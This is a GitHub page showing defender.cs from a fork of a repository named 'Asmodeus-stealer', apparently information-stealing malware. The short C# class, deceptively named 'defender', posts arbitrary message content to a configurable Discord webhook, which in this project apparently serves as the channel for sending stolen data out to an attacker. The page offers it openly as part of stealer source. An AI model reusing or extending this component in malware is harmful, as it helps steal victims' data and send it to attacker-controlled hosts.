forked from exploitblizzard/Asmodeus-stealer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdefender.cs
32 lines (26 loc) · 804 Bytes
/
defender.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
using System;
using System.Collections.Specialized;
using System.Net;
public class defender : IDisposable
{
private readonly WebClient dWebClient;
private static NameValueCollection discordValues = new NameValueCollection();
public string WebHook { get; set; }
public string UserName { get; set; }
public string ProfilePicture { get; set; }
public defender()
{
dWebClient = new WebClient();
}
public void SendMessage(string msgSend)
{
discordValues.Add("username", UserName);
discordValues.Add("avatar_url", ProfilePicture);
discordValues.Add("content", msgSend);
dWebClient.UploadValues(WebHook, discordValues);
}
public void Dispose()
{
dWebClient.Dispose();
}
}